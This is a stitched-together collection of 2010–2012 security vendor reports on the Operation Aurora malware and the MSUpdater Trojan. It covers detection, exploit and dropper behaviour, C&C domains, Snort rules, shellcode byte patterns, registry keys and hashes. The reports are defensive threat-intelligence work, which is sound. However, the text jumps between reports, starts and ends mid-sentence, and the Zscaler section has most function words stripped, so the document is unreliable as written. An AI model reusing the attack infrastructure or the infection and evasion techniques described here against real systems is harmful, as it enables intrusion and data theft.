Prevent executables launched from the root of %APPDATA% from writing, copying, moving or renaming files with a .dll extension to %SystemRoot%\system32 M ORE I NFORMATION A BOU T H B GARY HBGary, Inc is the leading provider of solutions to detect, diagnose and respond to advance malware threats in a thorough and forensically sound manner. We provide the active intelligence that is critical to understanding the intent of the threat, the traits associated with the malware and information that will help make your existing investment in your security infrastructure more valuable. Corporate Address: 3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95762 Phone: 916-4594727 Fax 916-481-1460 Sales@hbgary.com ABOUT VERDASYS Verdasys provides Enterprise Information Protection solutions that are the foundation of our customer s global data security strategy. With greater than 2 million security agents deployed at over 150 of the world s leading organizations, Verdasys is the proven global leader of Enterprise Information Protection and compliance solutions. Companies serious about information protection choose Verdasys. Verdasys is headquartered in Waltham, MA. For more information, go to www.verdasys.com Verdasys Contact: Jamie Warren Verdasys, Inc. Phone: (781) 902-5685 Email: jwarren@verdasys.com http://siblog.mcafee.com/cto/operation-%E2%80%9Caurora%E2%80%9D-hit-google-others/ http://www.thetechherald.com/article.php/201004/5151/Was-Operation-Aurora-nothing-morethan-a-conventional-attack http://www.fjbmcu.com/chengxu/crcsuan.htm (via: http://www.secureworks.com/research/blog/index.php/2010/01/20/operation-aurora-clues-inthe-code/) http://www.avertlabs.com/research/blog/index.php/2010/01/18/an-insight-into-the-auroracommunication-protocol/ http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysis-aurora-0-dayexploit CASE STUDY: OPERATION AURORA Triumfant has performed extensive research into the behaviors of the recent attack directed at Google called Operation Aurora. This case study provides a detailed description of how Triumfant would detect, analyze and remediate the attack on an endpoint machine running the Triumfant agent. In the interest of full disclosure, Triumfant had no direct interaction with the attack either directly on Triumfant s own endpoints or indirectly through a Triumfant customer. The analysis is based on detailed information collected through a variety of publically available research performed by reliable sources that performed hands-on analysis of the attack. Based on this research, Triumfant is fully confident that our software would have detected the attack and built a remediation that would have restored the machine to its pre-attack condition. The Operation Aurora attack falls squarely into one of the classes of attacks that Triumfant excels at detecting: targeted attacks engineered to evade traditional network and endpoint protections. While the actual attack vector used was not exceptionally sophisticated, the attack was created to have a digital signature that would not be detected by antivirus tools. The attack also took steps to protect and obscure itself from detection once it infected a machine. The case study steps through the process in four parts: initial detection, diagnosis, the assimilation of data about the attack into the Triumfant knowledge base, and remediation of the affected machine. Detection The malicious code used by Operation Aurora created several service keys during three specific steps: execution of the dropper, the first stage of installation, and the second stage of installation. Some of these keys are subsequently deleted but at least one was persistent. The appearance of one or more of these keys would be interpreted as a marker of potential malicious activity by the Triumfant real-time malware scan and would therefore trigger the detection process. The first step in the detection process would be a request by the agent to the server requesting permission for the agent to execute a full scan of the machine. The purpose of this scan is to capture all of the changes to that machine since the previous scan results were processed as part of the normal agent/server interaction that occurs every 24 hours. The Triumfant server would respond within seconds, authorizing the scan and throttling up the agent to complete the scan as rapidly as possible, collecting all 200,000 plus attributes in under a minute. The resulting scan would captures the state of the machine immediately after infection, providing the raw material for diagnosis so the analytics could verify the machine is under attack and identify all of the primary and secondary artifacts of the attack. Diagnosis The Triumfant server would receive the full scan, recognize that it was executed as a result of suspicious behavior, and immediately compare it to the adaptive reference model (the unique context built by our patented analytics). The result of this comparison would be a set of anomalous files and registry keys. The fact that the files and keys associated with Operation Aurora have random names would guarantee that they would be perceived as anomalous despite the fact that humans might tend to confuse them with legitimate Windows services. Further analysis would then be applied to the anomaly set to identify important characteristics and functional impacts. In this case the salient characteristics are an anomalous service and a number of anomalous system32 files. The discovery of an anomalous service would cause the Triumfant server to build a probe to be sent to the agent for execution to gather more data to complete the analysis. In this case, the probe would contain a list of all of the anomalous attributes found by the server during its analysis. Such probes leverage a series of correlation functions designed to partition the anomalous attributes associated with an attack into related groups. For Operation Aurora these correlation functions would group all of the anomalous attributes and then perform a risk assessment on this group. In this specific case, this analysis would find that the malicious attack is communicating over the internet. The cumulative results of the correlation and risk assessment would then be sent back to the Triumfant server. This new information is then processed and classified as an Anomalous Application with a complete analysis of the changes that composed the attack. This data would show the full set of changes associated with the attack such as files, registry keys, 2010 Triumfant, Incorporated CASE STUDY: OPERATION AURORA processes, ports, services, and event logs that were added, changed, or deleted as part of the attack. The data about the attacks would be posted at the console and the Triumfant server would alert the appropriate personnel based on the established reporting and alert protocols. Personnel could then access the correlated attack information and the corresponding risk assessment who could then take appropriate actions including the ability to save the analysis to readily share the data with CIRT and forensics teams. Knowledge Base Triumfant has the ability to save the analysis from any anomalous activity and leverage that data to create what Triumfant calls a Recognition Filter that becomes a permanent part of the knowledge base contained in the adaptive reference model. These Recognition Filters have a number of benefits. First, they provide a very precise mechanism for storing and sharing knowledge about an incident. Second, they allow the system to search for any other instances of that particular condition on other machines. Third, they enable the operator to pre-authorize automatic responses such as automatic remediation - should that incident be detected in the future. In the case of Operation Aurora, an analyst could save the analysis and build a filter specifically about this attack. Once built, the filter could be used to check other endpoint machines (the entire population or specified groups) for infection. This mechanism uses acquired knowledge to address broad attacks before they have the chance to spread beyond their initial penetration. These filters are also more resilient than digital signatures because they use wildcarding to continue to detect the attack even as it morphs its basic signature over time to avoid traditional signature based tools. Remediation The ability to identify and correlate all of the changes associated with any attack provides a depth of information that enables Triumfant to build a contextual and situational remediation that surgically and reliably removes the components of that attack without reimaging the machine. This remediation is built to exactly match the attributes of the anomalous application, in this case Operation Aurora, on an attribute by attribute basis. For Operation Aurora, Triumfant would construct a remediation to address all of the changes associated with the attack, restoring the altered attributes to their pre-attack condition. This includes the changes Aurora makes to affected machine s configuration settings to either execute or hide itself. The files added to the machine would be deleted, and any files deleted or corrupted would be remediated using Triumfant s patent pending donor technology. Summary Operation Aurora is illustrative of the targeted and well engineered attacks that characterize the evolving threats businesses and government agencies face daily. Based on the available data regarding Operation Aurora, Triumfant can say with confidence that Resolution Manager would have detected the attack, identified changes associated with the primary and collateral damage done to the affected machines, and used that data to build a remediation to address the specific elements of the attack. Within five minutes of the infection Triumfant would have analyzed the attack and created a remediation to return the machine to its pre-attack condition pending confirmation by the administrator. This ability to detect and remediate the attacks that evade traditional endpoint protections demonstrates the unique capabilities of Triumfant s technology. Triumfant uses two continuous scan cycles. One is a scan for markers of malicious activity that runs approximately every thirty seconds. The second is a continuous scan of every attribute on the machine that identifies and collects changes to those attributes and communicates them to the server on a 24 hour reporting cycle. Triumfant leverages the knowledge contained in the adaptive reference model to find another machine that has the proper version of corrupted or missing files validated to the specific release number and MD5 hash - and uses that machine as a donor to repair the affected machine. This technology is patent pending. 2010 Triumfant, Incorporated OPERATION AURORA February 10, 2010 Cyber Espionage is a critical issue. Over 80% of intellectual property is stored online digitally. The computing infrastructure in a typical Enterprise is more vulnerable to attack than ever before. Current security solutions are proving ineffective at stopping cyber espionage. Malware is the single greatest problem in computer security today. Yet, malware represents only the tip of the spear. The true threat is the human being who is operating the malware. This human and the organization represented is the true threat that is targeting information for the purposes of financial gain, theft of state secrets, and theft of intellectual property. True threat intelligence requires reaching beyond malware infections to identify the individuals, country of origin, and intent of the attacker. HB GARY THREAT REPORT: OPERATION AURORA THREAT SUMMARY The Aurora malware operation was identified recently and made public by Google and McAfee. This malware operation has been associated with intellectual property theft including source code and technical diagrams (CAD, oil exploration bid-data, etc). Companies hit have been publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Networks, Rackspace, Northrop Grumman, and Dow Chemical. The malware package used with Aurora is mature and been in development since at least 2006. The Aurora operation is characterized by a remotely operated backdoor program that persists on a Windows computer. This backdoor program has several capabilities that are outlined below. KEY FINDINGS Evidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration. There is not significant evidence to attribute the operation directly to the Chinese Government. However, key actors have been identified in association with malware operations that utilize Chinese systems and native language malware. This has lead to a great deal of speculation about Chinese-State involvement. It must be noted that a large and thriving underground economy exists to both build and disseminate malware worldwide, and that most of this malware is capable of intellectual property theft. The malicious hacking underculture is strong in China, as in Eastern Europe and elsewhere, and clearly enmeshed into a global criminal economy of data theft. While difficult to conclude that these activities receive any form of state sponsorship or direction, the malware operation remains a funded and significant risk to intellectual property in the enterprise. ASPECT DESCRIPTION Target The operation is targeting intellectual property with no specific industry focus. This is an example of knowing what they are looking for until they find it Origin It is highly probable that the malware was developed in native Chinese language, and the operation control system is designed for Chinese users, indicating the entire operation is Chinese. This does not, however, mean the Chinese Government is using the system. Developers Forensic tool-marks in the CRC algorithm can be traced to Chinese origin. That, combined with domain registration information, leads to at least one potential actor, Peng Yong ii. The malware has been in development since at least 2006. It has been updated several times. ASPECT DESCRIPTION Operators Operators of the malware appear to use certain domains for C&C control. Dynamic DNS is a key feature of the operation, with many known C&C servers operating from domains registered through Peng Yong s 3322.org service. Intent The primary intent is the theft of intellectual property. Coms Communication is encrypted over HTTP, port 443, obfuscated with a weak encryption scheme. The C&C servers tend to operate from domains hosted on dynamic DNS. ATTRIBUTION At this time, there is very little available in terms of attribution. A CRC algorithm tends to indicate the malware package is of Chinese origin, and many attacks are sourced out of a service called 3322.org a small company operating out of Changzhou. The owner is Peng Yong, a Mandarin speaker who may have some programming background with such algorithms. His dynamic DNS service hosts over 1 million domain names. Over the last year, HBGary has analyzed thousands of distinct malware samples that communicate with 3322.org. While Peng Yong is clearly tolerant of cyber crime operating through his domain services, this does not indicate he has any direct involvement with Aurora. TOOLMARK DESCRIPTION Embedded Resource Language Code United States CRC Algorithm Table of Constants Embedded systems/ Chinese publicationiii DNS registration services Peng Yong, others February 10, 2010 3 DETECT This section of the report details how you can detect Operation Aurora in your Enterprise. The exploit and payload vehicle consists of the following components: JavaScript based exploit vector, known to exploit IE 6 Shellcode component, embedded in the JavaScript Secondary payload server that delivers a dropper The dropper itself, which only used once and then deleted The backdoor program which is decompressed from the dropper JAVASCRIPT AND SHELLCODE The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January 2010. Microsoft details the vulnerability in Security Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer 6, Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported editions of Windows Server 2003) are affected. Exploit code analyzed by HBGary reveals that only Internet Explorer 6 was targeted during Operation Aurora. This vulnerability can be leveraged by attackers of varying skill levels due to the JAVASCRIPT EXPLOIT CODE HB GARY THREAT REPORT: OPERATION AURORA public availability of the Metasploit module ie_aurora.rb The exploit code used by the original attackers was quickly improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code. The JavaScript performs a heap spray attack and injects the embedded shellcode described below. The JavaScript exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model (DOM) element. JAVASCRIPT ARTIFACTS PATTERN Initial encrypted dropper download. Deleted file. C:\%appdata%\a.exe Decrypted dropper. Deleted file. C:\%appdata\b.exe JavaScript present in Internet Explorer memory space. Download URL present in internet history during memory analysis. http://demo1.ftpaccess.cc/ demo/ad.jpg Other domains associated with Aurora. sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com blog1.servebeer.com The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below. Upon successful exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from http://demo1. ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these files are specific to the sample we analyzed at HBGary, Inc. The attackers must use a second stage download mechanism to achieve full system access due to memory constraints. It is unlikely that the final payload could be delivered through the original exploit given these conditions. The dropper is XOR encrypted with a 0x95 key. The shellcode copies this encrypted binary to the user s AppData directory as a.exe . The shellcode then decrypts a.exe and moves it b.exe in the same directory. Then b.exe is executed. The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet Explorer post exploitation attempt. These patterns can be searched for when doing memory analysis of a victim system. SHELLCODE ARTIFACTS PATTERN Self-decrypting code using a constant XOR value. 80 34 0B D8 80 34 0B D8 Kernel32.dll searching code. 64 A1 30 00 00 00 8B 40 0C 8B 70 1C Push Urlmon string to stack using two push statements. 68 6F 6E 00 00 68 75 72 6C 6D The following SNORT rules have been released by the Emerging Threats project to detected the final payload command and control communications. Network Detection Signatures alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg: ET TROJAN Aurora Backdoor (C&C) client connection to CnC ; flow:established,to_ server; content: |ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff| depth:20; flowbits:set,ET.aurora.init; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats. net/2010695; reference:url,www.emergingthreats.net/cgi-bin/cvsweb. cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;) alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg: ET TROJAN Aurora Backdoor (C&C) connection CnC response ; fl owbits:isset,ET. aurora.init; flow:established,from_server; content: |cc cc cc cc cd cc cc cc cd cc cc cc cc cc cc cc| ; depth:16; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats. net/2010696; reference:url,www.emergingthreats.net/cgi-bin/cvsweb. cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;) DROPPER The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32 directory and loads it as a service. The initial dropper is likely to be packed (UPX, etc). The dropper has an embedded DLL that is decompressed to the windows system32 directory. This DLL will be named to resemble existing services (rasmon. dll, etc). In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an existing system DLL (user32.dll, etc). The dropped DLL is loaded into its own svchost.exe process. Several registry keys are created and then deleted as part of this process. Finally, the dropper deletes itself from the system by using a dissolving batch file (DFS.BAT, etc). ACTIONABLE INTELLIGENCE PATTERN Service Key & Value Note: deleted after drop SOFTWARE\Microsoft\Windows NT\ CurrentVersion\SvcHost\ Value: SysIns Data: Ups??? (??? are three random chars) Path to backdoor Note: deleted after stage 1 SYSTEM\CurrentControlSet\Services\ Ups???\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) Path to backdoor Note: persistent SYSTEM\CurrentControlSet\Services\ RaS???\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) February 10, 2010 5 ACTIONABLE INTELLIGENCE PATTERN Potential variation SYSTEM\CurrentControlSet\Services\ RaS???\Parameters\ Value: ServiceDLL Data: %temp%\c_####.nls (where #### is a number) Potential variation SYSTEM\CurrentControlSet\Services\ RaS???\Parameters\ Value: ServiceDLL Data: %temp%\c_1758.nls PAYLOAD The payload uses two-stage installation. GLANCE UNDER THE HOOD buffer after phase one XOR: During stage one, the mJ2bhcPExs7excLThcjExqurnauYq dropper will install the buffer after base64 decoding: payload as a service running under the name Ups??? (where ??? are three random characters). Once executing, the payload will immediately delete the first service and enter stage-two. During stage-two, the payload will register a new, second service under the name RaS??? (where ??? are three random characters). This new service will point to the same backdoor DLL, no new files are involved. Note: the three character prefixes Ups and RaS can easily be modified by the attacker. Once the new service is registered, the payload will access an embedded resource that is encrypted. The decryption goes through several phases. The encrypted data block contains the DNS name for the command and control server (homeunix. com, etc). This data block is configurable before the malware is deployed. The data block length is hard-coded (0x150 or 336 bytes). During phase one, this data block is fed through a simple XOR (0x99), resulting in an ASCII-string. Next, the resulting ASCII-string is fed into a base64 decoding function, producing a binary string. Finally, the resulting base64 decoded binary string is fed through another XOR (0xAB), resulting in clear-text. The three primary encryption loops are colored and marked in Figure 1. The resulting clear-text buffer contains several fields in both ASCII and UNICODE, including the C&C server address. Figure 1. Base64 and XOR Encryption Scheme HB GARY THREAT REPORT: OPERATION AURORA ACTIONABLE INTELLIGENCE PATTERN C&C Server DNS * .homeunix.com (where * is any subdomain) * .homelinux.com * .ourhobby.com COMMAND AND CONTROL The payload communicates with its command and control server over port 443. The source port is randomly selected. While outbound traffic appears to be HTTPS, the actual traffic uses a weak custom encryption scheme. The command and control packets have a very specific format.iv * .3322.org * .2288.org command parms 0x00000001 payload len CRC KEY payload * .8866.org * .ath.cx * .33iqst.com * .dyndns.org * .linode.com * .ftpaccess.cc * .filoups.info * .blogsite.org The payload will create additional registry keys. ACTIONABLE INTELLIGENCE PATTERN Additional Key HKLM\Software\Sun\1.1.2\IsoTp Additional Key HKLM\Software\Sun\1.1.2\AppleTlk The payload section is encrypted with a key selected by using GetTickCount. This means each infected node has its own key. The key is embedded in the header of the packet, and is easily recovered. DIAGNOSE HOW THE MALWARE WORKS The primary control logic can be found in the module registered under the service key (rasmon.dll, etc.). This module has been written in c and includes several specific methods and encodings that provide forensic track-ability. Other potential dropped files, as reported by McAfee: ACTIONABLE INTELLIGENCE PATTERN Additional File securmon.dll Additional File AppMgmt.dll Additional File A0029670.dll (A00#####.dll) Additional File msconfig32.sys Additional File VedioDriver.dll Additional File acelpvc.dll Additional File wuauclt.exe Additional File jucheck.exe Additional File AdobeUpdateManager.exe Additional File zf32.dll The above screenshot illustrates a REcon trace on the malware dropper and subsequent service creation. Location A. represents the dropper program, which unpacks itself and decompresses a file to the system32 directory. Point B. represents the initial svchost.exe startup, which is loading the malware payload. Location C. is the actual execution of the malware service, which remains persistent. At points E. and F. you can see the malware checking in with the command and control server. Finally, location D. represents the dissolvable batch file which deletes the initial dropper and then itself. CAPABILITY The malware has generic and flexible capabilities. There are distinct command handlers in the malware that allow files to be stolen and remote commands to be executed. The command handler is illustrated in Figure 2. At location A. the command number is checked. At locations marked B. are each individual command handler, as controlled by the C&C server and command February 10, 2010 7 number in the C&C packet. Location C. is where the result of each command is sent back to the C&C server. At location 1. is a dropper obtained from an exploit server directly accessed from the extracted shellcode from a MS10002 JavaScript vector. Location 2. represents a forensic toolmark within the dropped executable. This toolmark was obtained using physical memory assessment of the live executable, after it was allowed to unpack itself in a virtual machine. This assessment was performed with HBGary Responder . At location 3., the recovered toolmark(s) were researched against published source code artifacts on the Internet. From this, a single posting was discovered with this exact toolmark, and this posting exists only in one place and is of Chinese origin. From this, the author of the source code was determined to be XXXXXXXX. At location 4., all social cyberspaces used by XXXXXXX were then enumerated. From this, postings in Traditional and Simplified Chinese were discovered that confirm that XXXXXX is the author and supplier of a malware package known as or Netbot Attacker . Within the social space around Netbot Attacker are individuals who are testing and/or asking for technical support regarding the malware package operation. These individuals have been grouped within Palantir as technical support for bot at location 5. Figure 2. C&C Command Parser COPYCATS AND VARIANTS With the release of MS10-002, and the subsequent integration with Metasploit, the exploit vector used with Aurora has been adopted laterally within the malware development economy. Therefore, the use of MS10-002 should not be construed as an Aurora infection without further analysis of the dropped payload. Forensic toolmarks and link analysis have revealed several different threat groups who are employing common IE exploit vectors. HBGary is currently tracking several groups who operate malware systems of this nature. HBGary is using forensic toolmarks to trace the source code origins of binary malware samples dropped in conjunction with the MS10-002 exploit vector. For example, in Figure 3, link analysis is being used to track the identity of a threat actor in conjunction with his known Digital . HBGary s Digital DNA database not only codifies the behavior of software, but also the coding idioms, algorithms, and methods of individual developers. In this way, individual threat actors can be tracked with Digital DNA In the example, link analysis is provided by Palantir . The screenshot illustrates only a subset of the data being tracked by HBGary, and sensitive information has been redacted. Figure 3. Link Analysis of Malware Actors using Palantir The above process, when carried further, produces many more social links. Attribution such as this allows resolution and visibility into the intent of individual threat groups. HB GARY THREAT REPORT: OPERATION AURORA RESPOND Several Enterprise products have the capability to scan for and potentially remove the Aurora malware. Detection of the malware is covered in detail, from multiple aspects, in the Detect section above. When using a Digital DNA capable platform such as McAfee ePO, you can search the Enterprise for the following Digital DNA sequence (recommend a tight match, 90% or higher). DIGITAL DNA SEQUENCE FOR AURORA MALWARE 01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F 04 05 81 01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC 01 29 67 01 35 99 To thwart command and control and prevent data loss, known C&C domains should be blocked at the egress firewall. The domains listed in the Detect section represent a significant set of those currently known to be operating. IDS signatures similar to the one illustrated in the Detect section should be used to detect inbound exploit attempts, and machines accepting this data should be scanned for potential infections. Many A/V products now contain signatures for the Aurora exploit and will be effective in detection and removal. However, the attackers that represent the threat will not be deterred, and variants of the attack are nearly assured. FACTORS DESCRIPTION C&C protocol If a variant is developed, it will very likely use the same C&C protocol, but may change the header of the packet and the constants used for connection setup. This will evade IDS / Firewall rules designed to detect the current scheme. It is unlikely the attackers will change the encryption setup, however. Installation and Deployment The method used to install the service is highly effective. Although the filenames will likely change, the actual method will likely remain. INOCULATION DIGITAL DNA INOCULATION SHOT HBGary has prepared an inoculation shot for this malware. The inoculation shot is a small, signed binary that will allow you to scan for, and optionally remove, this malware from your Enterprise network. The aurora innoculation shot can be downloaded from www.hbgary.com. When the aurora innoculation shot is executed it will query the user for authentication credentials. Optionally the user can just hit cancel to use the currently logged on USER authentication token. Some sample usages are listed below. To scan a single machine: AuroraInnoculation.exe -scan 192.168.0.1 AuroraInnoculation.exe -scan MYBOXNAME To scan multiple machines: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 To automatically attempt a clean operation: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean To scan a list of machines in a .txt file: AuroraInnoculation.exe -list targets.txt MCAFEE EPO CUSTOMERS DETECTION OF AURORA THREATS WITH DIGITAL DNA FOR EPO Customers of McAfee ePolicy Orchastrator, integrated with Digital DNA, can detect emerging advanced persistent threats. To detect Aurora, users should perform a Digital DNA Sequence search with the above mentioned sequence for Aurora, and set a fuzzy match of 90% or greater. Once machines are detected, the user is encouraged to use the freely available inoculation shot to remove the infection. MORE INFORMATION ABOUT HBGARY, INC HBGary, Inc is the leading provider of solutions to detect, diagnose and respond to advance malware threats in a thorough and forensically sound manner. We provide the active intelligence that is critical to understanding the intent of the threat, the traits associated with the malware and information that will help make your existing investment in your security infrastructure more valuable. Web: www.hbgary.com Corporate Address: 3604 Fair Oaks Blvd Suite 250 Sacramento, CA 95762 Phone: 916-459-4727 Fax 916-481-1460 Sales@hbgary.com REFERENCES http://siblog.mcafee.com/cto/operation-%E2%80%9Caurora%E2%80%9Dhit-google-others/ ii http://www.thetechherald.com/article.php/201004/ 5151/Was-Operation-Aurora-nothing-more-than-a-conventional-attack iii http://www.fjbmcu.com/chengxu/crcsuan.htm (via: http://www.secureworks.com/research/blog/index.php/2010/01/20/ operation-aurora-clues-in-the-code/) iv http://www.avertlabs.com/research/blog/index.php/2010/01/18/aninsight-into-the-auroracommunication-protocol/ http://www.symantec.com/connect/blogs/trojanhydraq-incident-analysisaurora-0-day-exploit CORPORATE OFFICE 3604 Fair Oaks Blvd. Ste. 250 Sacramento, CA 95864 916.459.4727 Phone CONTACT INFORMATION info@hbgary.com support @hbgary.com www.hbgary.com MSUpdater Trojan Ongoing Targeted Attacks Zscaler Seculert Joint Report Contents CONTENTS ................................................................................................................... OVERVIEW ................................................................................................................... MSUPDATER TROJAN INCIDENTS OBSERVED ............................................................. OSINT AGGREGATION CORRELATION ................................................................... INFECTION VECTOR: PHISHING EMAIL WITH MALICIOUS ATTACHMENT ........................ RELATED BACKDOOR BEACONING PATTERN .................................................................. SEPTEMBER 2010 CVE- 2010- 2883 PHISH ................................................................ SEPTEMBER 2010 ISSNIP PHISHING EMAIL WITH MALICIOUS ATTACHMENT RELATED ANTIVIRUS VENDOR FAMILY NAMES .......................................................... CONFERENCE LURE ................................................................................................. CLOSING REMARKS .................................................................................................... APPENDIX CONSOLIDATED LIST MALICIOUS HASHES ................................ Overview Researchers from Zscaler Seculert separately identified incidents threats discussed this report. Within private security forum discussed determined that identified related incidents. Zscaler Seculert collaborated this report aggregate correlate findings along with open- source intelligence (OSINT) detail lesser- known MSUpdater remote access Trojan (RAT) linkage current targeted attacks others dating back least early 2009. Foreign domestic (United States) companies with intellectual property dealing aero/geospace defense seem some recent industries targeted these attacks. goal this report aggregate information, draw some correlations, provide overview this threat facilitate identification, detection, functionality. With this goal mind, also reveal anything that might disrupt investigations state something without additional open- source corroboration. security researchers believe that success measured much information collect, share information better secure protect Internet community from threats. hope that information within this report helps detect remediate this threat within organizations. 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. MSUpdater Trojan Incidents Observed Zscaler Seculert separately identified security incidents where infected customers fore- mentioned industries command control (C&C) beacons matching below patterns. Standard Microsoft Internet Explorer user- agent strings (versions were observed communications. most often observed pattern, likely check- behavior followed pattern: HTTP requests path: /microsoftupdate/getupdate/default.aspx?ID=[num1]para1=[num2]para2=[num3]para3=[num4 Where [num] fields placeholders parameters passed victim form numbers. Other patterns observed from infected hosts C&Cs were: HTTP POST requests path: /microsoft/errorpost/default/connect.aspx?ID=[num1] HTTP POSTs path: /microsoft/errorpost/default.aspx?ID=[num1] Clearly above patterns trying appear though they related Microsoft Windows Update service versus something malicious. clear, common name this particular threat seem emerge open- source, have commonly referred this threat family MSUpdater Trojan. first time this pattern logged traffic traversing Zscaler Cloud infrastructure 12/25/2010 (Christmas day). likely that Christmas infection resulted from targeted phishing email related attacks this report identify this infection vector. suspicious transactions were observed from infected host prior beaconing. Seculert FogSense Cloud- based service observed instances this same infected beaconing pattern their customers early March 2010. Zscaler Seculert each identified these infections separately conducting traffic analysis identify previously unknown threats then protect their customers. Open- source intelligence (OSINT) beaconing patterns observed provided additional information this previous threat. OSINT Aggregation Correlation addition industry collaboration better understand protect against threats, Google more specifically OSINT valuable resource when looking into unidentified threats. following provides some details about what known been discussed open- source related this threat. 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Infection Vector: Phishing Email with Malicious Attachment publicly available presentation from Sword Shield Enterprise Security Inc.1 includes slide discussing correlation malicious phishing attachment beaconing that resembles same pattern identified above. Specifically, presentation provides screenshot associated malicious phishing email showing that sent April 2011 with subject Information Contractor chap6.pdf attachment: Figure Screenshot 4/28/2011 Phish presentation then goes show that opening attachment exploited vulnerability caused process named GoogleTray.exe launch connect mail.hfmforum.com/microsoftupdate/getupdate/default.aspx Related Backdoor Beaconing Pattern linking domain registration information from some C&Cs observed, were able determine other domains used this malicious actor/group. specific example this following registration information observed MSUpdater Trojan domain: http://ilta.ebiz.uapps.net/ProductFiles/productfiles/782804/2011siems.pptx 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Figure WHOIS information domains This contact information used other domains that have some open- source reports usage, example: SISEAU.COM VSSIGMA.COM These domains have open- source reports tied malware samples with hashes: 3459BC37967480DEE405A5AC678B942D2 6631815D4AB2A586021C24E02E5CC4513 Communication these domains also observed with following communication path pattern: /search[RndNum1]?h1=[Num1]&h2=[Num2]&h3=[String1]&h4=[String2] example: /search521649?h1=51&h2=1&h3=N07630&h4=FKFDFDAHAEBAEPFLFK number parameters these search beacons closely resembles that previously mentioned para beacons. However, previously mentioned para beacons appear different encoding. These related samples also have VirusTotal reports4,5 which provide additional details about binaries they being detected. Specifically: http://www.malware- control.com/statics- pages/3459bc37967480dee405a5ac678b942d.php http://www.threatexpert.com/report.aspx?md5=6631815d4ab2a586021c24e02e5cc451 https://www.virustotal.com/file/6a237ffe0f7d84ffd9652662a2638a9b5212636b414ce15ea2e39204d2a24e7f/analysis/1267308842/ https://www.virustotal.com/file/75d3c3875744196cedff55d179bc62412adeba5e769fbfc85b2b891ff32b4f9f/analysis/1265252262/ 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. MD5: 3459BC37967480DEE405A5AC678B942D VirusTotal timeframe: 02/06/2010 02/27/2010 file name wuauclt.exe with Microsoft Corporation publisher (this publisher string observed other related samples well) MD5: 6631815D4AB2A586021C24E02E5CC451 VirusTotal timeframe: 08/18/2009 02/04/2010 ThreatExport report shows backdoor 1033/TCP Packed with Armadillo (identified other related samples well) Antivirus detection both samples indicate that Backdoor Agent however, DrWeb specifically calls these samples something unique: BackDoor.Calla.5 where Calla family (added their detection 02/02/2009)6 variant. Searching other malware incidents that exhibit this similar search beaconing pattern shows number related open- source examples, discussed following sections. September 2010 CVE- 2010- 28837 Phish September 2010 blog Contagio detailed malicious phishing campaign exploiting buffer overflow vulnerability Adobe reader8. time, this exploit, patch released Adobe until October 2010. exploit contained attachment: INTEREST_&_FOREIGN_EXCHANGE_RATES.pdf o MD5: 4EF704239FA63D1C1DFCF2EA2DA0D7119 This dropped similar files: setup.exe: o MD5: 95D42D365489A6E5EBDF62565C5C8AA2 o Sophos uniquely detects10 Mal/Ovoxual- (detection added 07/19/2010)11 o Which creates FAVORITES.DAT (data file) launches msupdater.exe12 msupdater.exe: o MD5: 374075CE8B6E8F0CD1F90009FD5A703B http://vms.drweb.com/virus/?i=225137 http://www.adobe.com/support/security/advisories/apsa10- 02.html http://contagiodump.blogspot.com/2010/09/sep- cve- 2010- 2883- pdf- interest.html https://www.virustotal.com/file/daac83fc4af5c53068c4e5a29dadfdc5200e3b3fc2b491eebe0a4bc19ec9e3f2/analysis/1285731514/ https://www.virustotal.com/file/ecefcd2f2b862e987ea4b6b7d475c924d9662ad955096872a2c5b822901c63b3/analysis/ http://www.sophos.com/en- us/threat- center/threat- analyses/viruses- and- spyware/Mal~Ovoxual- A/detailed- analysis.aspx http://anubis.iseclab.org/?action=result&task_id=14495366b24a64d242d1946aa1e3a88be&format=html 2012 Zscaler Inc. Seculert Ltd. Rights Reserved. Sophos uniquely detects13 Mal/ Ovoxual- (added 07/19/2010)14 Sandbox reports this sample generally fail15 showing following dialog box: Figure ThreatExpert Malware Failure Dialog System runtime analysis showed initial malformed Google query: www.google.com/search?qu= Figure Malformed Google PCAP During Run- Time Analysis Followed failed connection attempts 140.112.19.195 (National Taiwan University) further detailed static analysis this msupdate.exe FAVORITES.DAT sample completed CyberESI16. their report they discuss that setup.exe dropper virtual machine (VM) aware using SIDT instruction17 detected, msupdate.exe Trojan dropped. msupdate.exe Trojan aware using same SIDT method detected then Trojan decrypts FAVORITES.DAT file spawns svchost.exe process which conducts network check- ins. This evasion reason above shown failed sandboxing analysis that does include network activity. decrypted FAVORITES.DAT executable this sample hash 